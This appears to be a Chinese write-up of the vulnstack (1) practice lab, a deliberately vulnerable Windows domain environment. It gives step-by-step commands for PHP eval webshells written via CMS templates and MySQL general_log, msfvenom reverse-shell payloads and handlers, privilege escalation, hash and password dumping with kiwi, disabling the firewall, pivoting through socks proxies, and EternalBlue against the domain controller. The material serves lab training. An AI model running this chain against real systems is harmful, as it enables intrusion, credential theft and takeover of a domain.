红日安全vulnstack (一)

环境搭建
本机双网卡
65
网段和83
网段是自己本机电脑(虚拟机)中的网卡, 靶机外网的IP
需要借助我们这两个网段之一出网

Kali IP
kali
地址网络适配器选择,为VMnetNAT
模式会通过DHCP自动获取IP,本机65
网卡会自动分配IP 和靶机win7
同网段简单来说,桥接模式是独立内网
IP
,NAT
模式则是利用物理机的地址分配一个IP
和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网IP
为内网网段,或者自定义也是独立的地址

192.168.65.148 // kali 地址
win7
出网机开放端口,处于同一个网段可以扫描到
靶机IP
vmx
后缀文件,打开虚拟机自己弄好 初始密码为hongrisec@2019 

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段

主机 | IP地址 |
kali 攻击机 | 192.168.65.148(虚拟机VMnet8网卡) 本机双网卡=WIFi IP+kali IP 65+内部IP 172.28.160.1 |
Win7外网服务器 | 外网IP 192.168.65.154 / 内网IP 192.168.52.143 提权后IP变为65.155 |
Win2003 域成员机 | 192.168.52.141 (不出网IP固定52网段) |
Win2008 DC 域控 | 192.168.52.138 (不出网IP固定52网段) |
win7
可以互相ping
通出网,如果出现Ping
不同可能是win7
防火墙未关闭或未开机

Web GetShell
前期信息收集
win7
机器打开小皮服务否则nmap
无法扫描80
端口和 3306

arp-scan-l // kali前期使用该命令扫出同有一网段下其他主机
xxxxx // 确定了win7 IP 地地址为 192.168.65.154
win7
外网IP
地址,目标开放了80
3306
端口
nmap 192.168.65.154

kali
访问 80端口 phpinfo(
)页面: 自己主机也是可以访问到此页面,本身就是同一个网段,win7
网段是物理机给予的

beifen.rar
文件路径
http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar


config.php
给出了数据库的账户密码信息
Yxcms后台模板 Getshell
cms
拼接访问
http://192.168.65.154/yxcms/index.php?r=admin
账户:admimm
密码:123456


index_index.php
猜测应该是网站起始吧最好找路径
一句话
<?php eval($_POST["cmd"]);
phpinfo(); // 添加打印函数佐证
echo 'aaaaa'; // 输出 aaaaa
?>

webshell



PHPMyAdmin日志 Getshell
账号: root
密码: root

into outfile写入一句话 X
INTO OUTFILE是
MySQL数据库中的一个语句,它可以将查询结果写入到文件中
-
root
权限 -
知道绝对路径
-
secure_file_priv
没有具体值
INTO OUTFILE
将结果写入到文件中
SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';
"/path/to/file.txt"
的内容将变为:
Hello, world!
phpinfo()
已经知道了绝对路径,查secure_fiel_priv
show global variables like "%secure%"; // 查询
value为“null”时,不允许读取任意文件
value为“空”时,允许读取任意文件
null
无法执行
phpmyadmin 日志写入一句话
show global variables like "%general%";

set global general_log="on"; //开启日志,修改为on
//修改日志路径(在上面提到的phpinfo.php中有泄露路径)
set global general_log_file="C:/phpStudy/WWW/a.php";
a.php
直接访问连接
SELECT'<?php eval($_POST["cmd"]);?>'

webshell

后渗透
MSF 生成木马上线
Kali
进入MSF
生成shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148 LPORT=1111 -f exe -o shell.exe
// -p为指定payload,使用msf的payload的时候要和这个相同,
//lhost为Kali ip,lport为 自定义端口,-f为payload类型为exe

win7
目录下
msf
开启监听回响用handler
模块接收反弹模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit

exe
文件 MSF成功反弹shell

shell
后先查看当前用户,而后通过getsystem
命令直接进行提权到系统权限
getuid // 获取当前用户ID
getsystem // 用于获取系统权限的命令,通常在渗透测试中用于尝试提升当前用户权限至系统管理员权限。
// 这个命令通常在攻击者已经获得一定权限的情况下使用,以获取更高级别的权限。在实际操作中,getsystem命令可能会利用系统中的漏洞或弱点,以获取系统管理员权限

提取用户hash
值
run post/windows/gather/smart_hashdump // 提取命令
load kiwi // 加载抓取密码工具
creds_all // 抓取

hash
加密方式
Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是通过以下步骤生成的:
1. 将明文口令转换成十六进制的格式。
2. 将转换后的十六进制字符串转换成Unicode格式,即在每个字节之后添加0x00。
3. 对Unicode格式的字符串进行MD4加密,生成32位的十六进制数字串
举例来说,如果用户密码为test123,首先将其转换成十六进制的格式为74657374313233
然后转换成Unicode格式为7400650073007400310032003300。
最后,对Unicode字符串7400650073007400310032003300进行MD4加密,
得到NT-HASH值为c5a237b7e9d8e708d8436b6148a25fa1。
这个NT-HASH值可以用于验证用户的身份而无需存储明文密码。
run post/windows/manage/enable_rdp // 开启3389远程桌面

nmap
探测属于3389
端口处于开启状态
sessions -i # 查看所有会话 这个要回到msf模块下才能看到
sessions 1 # 选择为此ID为1的会话

MSF
权限Shell
至CS
CS
物理机Windows
作为客户端 Kali
作为服务端启动
IP
需和MSF
监听设置一致,这里的IP
是kali
地址
MSF
执行命令派发
bg # 退出回到反弹模块
use exploit/windows/local/payload_inject # 本地漏洞利用模块payload_inject。这个模块通常用于在目标系统上注入恶意代码或payload
set payload windows/meterpreter/reverse_http # :设置payload 表示在目标系统上使用Meterpreter反向HTTP负载。这将允许建立一个反向连接
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.65.148 #公网vps ip
set lport 80 #监听端口需和CS设置一直
set session 1 #派发session 为1 也就是第一个会话 通过会话列表可以查看
exploit

CS
客户端成功收到反弹shell

CS 生成木马上线
CS
上传非常简单,参考前文过程,生成的木马通过前文的蚁剑上传win7
运行即可,上线,后续对win7
信息收集和横向移动其他域内其他主机
蚁剑下操作
dir // 列出当前目录下所有文件
.\beacon.exe // 运行木马文件 CS 成功上线

提权system
svc-exe 提权


信息收集
sleep 0 // 修改心跳速度为0 立马响应
shell systeminfo // 查看主机系统详细信息

CS
生成无免杀的马子是不能上传到win7
服务器
shell tasklist // 查看被控主机进程列表


shell netsh firewall show state // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态
出现命令提示:
Microsoft已经将防火墙管理工具从"netsh firewall"迁移到了"netsh advfirewall firewall"。
这种更改可能是为了提高安全性、功能性或性能等方面的考虑

shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令

域信息收集
shell net config Workstation // 查看域信息

shell view // 查看当前域内列表,点击上方定位圆圈就可以看到


net dclist // 查看域控列表

hash
win7
主机3个用户账户密码

CS
权限shell
至MSF
MSF
开启监听模块,使用一个端口进行监听
msfconsole // 开启MSF
use exploit/multi/handler // 使用监听模块
set payload windows/meterpreter/reverse_htpp // 反向连接 CS将得到的权限反弹至MSF,协议和监听器一致
set lhost 0.0.0.0 // IP地址为任意的 任意地址流量都可以反弹
set lport 6666// 端口和监听器设置一致
run // 开启监听

CS
这里是已经通过反向木马得到了shell
,生成的木马监听器就是HTTP
的,所以权限给msf
时,新建的监听器还是HTTP

CS
在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的

横向移动
win7
做跳板直接通讯到域控,利用win7
为媒介kali 攻击机 | 192.168.65.148 |
Win7外网服务器 | 外网IP 192.168.65.154 / 内网IP 192.168.52.143 |
Win2008 DC 域控 | 192.168.52.138 (不出网IP固定52网段) |
MSF
MSF
路由+Socks
代理通讯
win7
作为跳板机,将其内网52
网段添加到路由,利用msf
路由和socks
配置让同一网段的机器可以通讯到
run post/multi/manage/autoroute // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p // 查看当前路由 已经添加好了52网段

proxychains
代理,,现在只是msf
工具以使用,但的工具还是没有通讯的,所以再次建立一个路由
bg // 退回msfshell模式
use auxiliary/server/socks_proxy // 使用socks代理 // 改名字了和之前小迪做的不一样
show options // 查看设置

set srvhost 127.0.0.1 // 设置代理为本地
set srvport 888 // 有点问题再开了一个代理 端口为888
run // 执行
jobs // 查看后台任务

proxychains4.conf
文件因为不会vim
操作起来很不舒服,定位到端口位置,点击x
后可以删除,点击i
开始添加对应的端口号 和前文设置一致
ms17_010
永恒之蓝445
socks
之后正常是kali
是可以接收到52
网段的流量,然后使用nmap
探测开放端口,会探测到445
然后打永恒之蓝得到权限
socks
开启监听一个端口,将此流量转发给msf
因为端口号设置一致,msf添加了路由,所以流量又被带入内网中,在kali
中的工具都可以监听到
proxychains nmap -Pn -sT 192.168.52.138
xxxx 发现存在445端口

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010 // 永恒之蓝漏洞扫描检测模块
set rhosts 192.168.3.21-32 // 检测此IP范围内
run
Host
漏洞可能存在,使用漏洞攻击模块进行攻击
sosks
进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了
use exploit/windows/smb/ms17_010_eternalblue // use 0 // 利用模块
set payload windows/x64/meterpreter/reverse_tcp // 设置攻击载荷反向
set lhost 192.168.52.143 // 地址为 跳板机win7地址,因为要通过它去打域控地址 138
set rhosts 192.168.52.138 // 被攻击的地址为域控
set lport 5555 // 随意选择kali一个端口进行监听
run // 运行即可

CS
创建SMB监听器横向
SMB Beacon
相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445
的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败),此流量封装在SMB
协议中

DC
域控进行横向移动利用先前抓取的明文密码,配合SMB
监听器,

beacon
上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell
之类访问到内网其他主机横向移动psexec
psexec
属于登录命令,在有密码情况下远程登录其他主机执行命令



红日安全vulnstack (一)的更多相关文章
- ATT&CK 实战 - 红日安全 vulnstack (二) 环境部署(劝退水文)
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶场简述 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博 ...
- ATT&CK 实战 - 红日安全 vulnstack (一) 靶机渗透
关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机 ...
- ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署
靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...
- 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二)
一.环境搭建 1.1 靶场下载 靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶机通用密码: 1qaz@WSX 1.2 环境配置 ...
- vulnstack靶机实战01
前言 vulnstack是红日安全的一个实战环境,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/最近在学习内网渗透方面的相关知识,通过对靶机的 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day2 - XSS跨站实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day3 - CSRF实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day4 - SSRF实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day5 - 任意文件上传实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
随机推荐
- 1 - RTOS简介&规范&任务创建
对外部响应能力: 实时(规定时间内)操作系统 , 有强(飞机系统)弱(信息采集系统)之分 与分时(顺序时间片)操作系统 FreeRTO实时操作系统 支持抢占式调度,合作式调度和时间片调度:内核大小在4 ...
- [VueJsDev] 快速入门 - vscode 插件推荐
[VueJsDev] 目录列表 https://www.cnblogs.com/pengchenggang/p/17037320.html Vscode 插件推荐 ::: details 目录 目录 ...
- 基于泰凌微TLSR825x的数据透传解决方案之源码解析
一 概念 串口透传也叫透明传输,简称透传.串口透传是一种工作方式,一般出现在串口蓝牙模块中.串口透传蓝牙模块使用极其便利,开发者不需要了解蓝牙协议栈是如何实现的,只需要使用串口蓝牙模块就可以方便地开发 ...
- Django使用Bootstrap的经典方法
前面的话 Bootstrap是简单.灵活的用于搭建WEB页面的HTML.CSS.Javascript的工具集.Bootstrap基于HTML5和CSS3,具有漂亮的设计.友好的学习曲线.卓越的兼容性, ...
- C++ 赋值运算符和拷贝构造函数
拷贝构造函数 class Foo{ public: Foo(); Foo(const Foo&); //自己定义的拷贝构造函数 }; 如果不自己定义,编译器会自己合成一个默认拷贝构造函数: c ...
- AXI4的PL与PS联合设计
AXI4的PL与PS联合设计 1.实验原理 在前面的学习中,解决了如何利用一个缓冲寄存器控制另外一个寄存器的输入输出配置.接下来就是如何将PL设计直接导入到PS中实现资源互换.PS是可以通过AXI4总 ...
- 第十三届蓝桥杯大赛软件赛省赛【Java 大学B 组】试题B: 山
1 public class HelloWorld { 2 public static void main(String args[]) { 3 long count=0; 4 String temp ...
- 实现一个简单的echarts柱状图PythonFlask
bar.html 1 <!DOCTYPE html> 2 <html style="height: 100%"> 3 <head> 4 < ...
- #轮廓线dp#HDU 1400 Mondriaan's Dream
题目传送门 分析 状压dp会TLE,考虑用轮廓线dp, 设 \(dp[i][j][S]\) 表示现在处理到 \((i,j)\) 这个位置轮廓线上状态为 \(S\) 的情况 二进制位为1表示左边或者上方 ...
- #拓扑排序#洛谷 5157 [USACO18DEC]The Cow Gathering P
题目 给出一棵树和一些限制关系 \((a_i,b_i)\), 一种合法的删点序列当且仅当删除一个点之后树的大小不超过 1 或不存在孤立点, 并且 \(a_i\) 要比 \(b_i\) 先删除,问 \( ...